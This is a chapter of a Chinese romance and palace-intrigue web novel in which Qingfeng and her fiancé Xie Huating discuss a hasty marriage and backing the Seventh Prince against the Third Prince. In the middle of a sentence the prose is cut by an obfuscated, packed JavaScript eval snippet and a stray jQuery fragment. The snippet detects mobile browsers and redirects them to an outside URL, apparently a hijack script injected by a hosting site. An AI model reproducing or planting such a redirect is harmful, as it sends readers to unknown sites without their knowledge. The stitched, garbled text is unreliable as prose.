77. 第七十七章

作品:《姑娘她不想回府

    夜已经深了,青凤吹灭了几根蜡烛,只留下床边的一盏小灯。平日里她从不叫丫鬟们值夜,今天和徐氏谈过话,心里实在有几分不舒服。于是她早早把下人打发出去,自己脱了外面的大衣裳,躺在床上翻来覆去地思考白天发生的事。


    等她想了半天,迷迷糊糊快要睡着的时候,突然窗户响了一声,然后又啪的合上了。这一声把青凤的睡意直接击了个粉碎,她爬起来,伸手拿了桌子上的一个白瓷瓶子,小心翼翼沿着床围往外挪——准备若是有人行为不轨,就先给他脑袋上来一下。


    一个身穿甲衣的兵士,正立在窗户前摘头盔,青凤藏在屏风后面,准备等他露出后背,就扑上去让他脑袋开花。


    “晏姑娘,”这个兵士把头盔扔在地上,露出一张很眼熟的脸,“我是谢华庭,你在哪?”


    青凤拎着瓷瓶子走了出来,她震惊地看着对面,好半天才说道:“谢郎君,你这是什么意思?深夜闯入别人的闺房,就是我们定过亲也太冒犯了吧?”


    谢华庭把身子背过去不看青凤:“我有事找你商议,你先去穿件衣服。”


    他表现的实在太过理所当然,搞的青凤都不知道怎么继续谴责。青凤回去把外面的衣服套上,拢了拢头发走出来,谢华庭已经坐在桌子旁边,正往嘴里猛灌凉茶水。


    “你是怎么进来的,这衣服是怎么回事,”青凤找了个圆凳,坐的离谢华庭远些,“谢郎君为何不白天过来,你这样的身份,外头的兵士总不会拦你。”


    谢华庭把茶杯放下,他倒是想白天过来,但外头的人居然说没有三皇子的御令,任何人都不得进入,:“那些人说想要进来,必须得有三皇子的旨意才行。我刚找他吵了一顿,不好立刻再去求他,便自己查了查,在换防的名单里找到个熟识的郎将,托他让我从后门进来一会儿。”


    青凤从谢华庭的话里敏锐地抓住了一点,谢华庭同三皇子吵架,是为了什么,难道是为了文平伯府吗?但这样的想法冒出来,她都觉得太自作多情。


    “你来找我有什么事吗?我现在这个样子,怕是什么都做不了。”


    谢华庭仔细看了看青凤的神色,见她虽然眉目间有些愁绪,但总的来说还是一片平和,并不是十分焦虑害怕的样子。


    他心情放松了一些,沉吟了片刻,对着青凤解释道:“我准备把你接出去,我已经见过淑妃娘娘了,她的意思是,我们早些成婚也没有什么关系。”


    青凤听了这话有点惊讶,谢华庭居然准备现在成婚。她眼神里带上了些疑惑,并没有立刻答应下来:“谢郎君好意……只是现在文平伯府如此,这婚事如何能成,何况外面还有人苦苦相逼。”


    “你既然来了这里,应该已经知道,三皇子手下有个叫魏铭的,就是之前我同你说的那个,许久不愿与我定亲的人,他现在派人监管了府里上下,意图报复我来解昔日之仇。谢郎君要是搅进来,怕是要沾上麻烦事。”


    谢华庭觉得青凤对自己的信心实在不足,哪怕他俩半点感情没有,也该知道他绝不可能把未婚妻子让给别人。若是让个无耻小子抢了定过亲的姑娘,那他出去就可以把脸皮扔到地上让别人踩个高兴了。


    “晏姑娘,你事事聪明,为什么一到我们的事总是这样推脱。我们可是正经过了礼的,他缠上你,我就是什么都不做也会沾上麻烦事。”


    “更何况我和你说过多次,既然我们有了这层关系,我就会正经把你当成妻子看待,你有了事,难道要我当不知道吗?”


    青凤不由自主地躲开谢华庭探寻又谴责的目光,她对谢华庭的信任确实不怎么足,但现在谢华庭跑过来说要接她出去,她确实还有点高兴。


    难道我真看上他了?虽然心情乱糟糟的,事也很多,但青凤却不由得分出一丝心神,平心而论,谢华庭确实是个好人,如果她从小生活在文平伯府,那她大概会对这门婚事非常满意。


    谢华庭看着青凤眼神飘忽,他侧了侧身子,强行和青凤的目光处在同一条线上:“晏姑娘?你总不是要拒绝我吧?”


    青凤看着谢华庭歪歪扭扭,因为身上还有甲衣,所以这个姿势做的十分不潇洒。她忍不住笑了一下,然后又迅速把声音压回去转化成了一声咳嗽:“现在文平伯府这个样子,就是要成婚,也很难办,魏铭是三皇子的人,三皇子未必会同意。”


    “他才不会为了一个手下和我过不去,如果我懦弱些,不愿意找麻烦,那他自然乐的随便,但我已经进宫找过他了,他只叫我不要杀了姓魏的。”


    青凤倏然一惊,她本以为魏铭那么嚣张,三皇子必然会给他撑腰,但现在来看,只是舍不得这个能用的工具而已。三皇子绝不会为了他和谢华庭这样没有冲突的宗亲翻脸。


    “我们就算成了亲,也不知道三皇子会不会变卦,其实我自己也想了许多,只是需要问一下谢郎君,七皇子现在怎么样了。”


    谢华庭皱起了眉头,七皇子虽然和他没断了联系,但也一直闲赋在家。三皇子对他虽不像对四皇子那样严防死守,但也从不叫他进宫探望圣人和庄妃。


    “你怎么想起七皇子了,”他不太赞同地说道,“我记得你一直跟我说,不喜欢这些皇室争斗,怕卷进去小命不保。”


    青凤剥了剥指甲上的寇丹,此一时彼一时,定京都要变天了,也不是龟缩在文平伯府就能安然无恙的:“你知道赵御史的事吗?夫人说三皇子这个监国绝不会当的风平浪静,万一他真的上去,到时候如何还不是由他说的算,谁生谁死,可不像现在这样需要顾忌了。”


    这种可能不是没有。定京之中,除了三皇子自己的人,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947654|189234||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怕是也没几个想他当皇帝,他如果真的登上大宝,必然是要杀一批才行的。但现在各方势力都按兵不动,难道谢华庭要劝七皇子做这个出头鸟吗?


    “我们什么都不做……这些事也落不到我们头上,”谢华庭犹豫了一下,劝说起来,“如果你是担心文平伯,三皇子不会杀他,平日里他与林相走的不近,也从没有偏向哪个皇子。”


    青凤对三皇子的感观实在和好沾不上边,单论他纵容魏铭围困一群女眷,这人在她心里就不是个好东西,自然也不会相信他能轻饶了牢里的大臣:“谢郎君自幼生活在宫里,朝堂之事肯定比我了解的多,若是将来三皇子真要即位,七皇子可愿意老老实实当个王爷?”


    谢华庭眼神游移了一下,七皇子的母妃费尽心机帮他求娶韩家女,就是为了大将军的势力和威望,有了这样一位岳丈,就是圣人心里那杆称说不定都得移一移。


    “他大概是不愿意的,”谢华庭说的直白,“他是皇子,还能没有野心吗?”


    青凤认真看向了谢华庭,如果三皇子言而有信,那对于他们来说当然是站干岸最好。但谁知道他将来会有什么动作呢?况且七皇子也不愿意安安静静当个闲散王爷,到时候若是与三皇子相争,难道谢华庭就能半点不沾吗?


    “你是七皇子的伴读,他有什么事,肯定是要拉着你做的。我来这里就听说,文平伯曾经是大皇子的伴读,所以陛下格外恩宠于他。”


    “谢郎君,若没有三皇子这一出,也不过是暗地里的一些争斗,也许你参与不参与,七皇子也不太在意,可到了生死关头,他肯定要把手里全部的势力都用起来,到时候不过是两难之择,哪个选择也不可能全身而退。”


    谢华庭如何不知道,卷入皇子之争,不过是从万千险路中争一线生机。他苦笑一声,对着青凤说道:“你之前因为这些事一直同我生分,现在又劝我参与夺嫡,这想法转的太快,我总要思量思量。”


    青凤点了点头,如果谢华庭立刻应了,她只会觉得这人晕了头:“文平伯府没有被围,我是不会想这些事的。我离开家的时候,魏铭不过是个秀才,而现在,他离一步登天只剩最后一点点了。若是让三皇子上位,魏铭绝不会善罢甘休,就算你是皇亲国戚,到时候他有了身份,必定会使些恶心人的手段。比较起来,七皇子总是要比三皇子好的,对你好,也对我好。”


    谢华庭手指敲着桌子,这件事风险太大,若是没做成,他就可以下去和父母团聚了:“等我接你出去后再说,事关皇室纷争,你我都说了不算,总得七皇子自己有安排才行。我也不瞒着你,我对你说的这些并不是完全信服,一个魏铭,我杀了他也是简单。”


    “可三皇子不许你伤他性命,”青凤笑了起来。“若你真动了他,宫里的人就抓到了把柄。”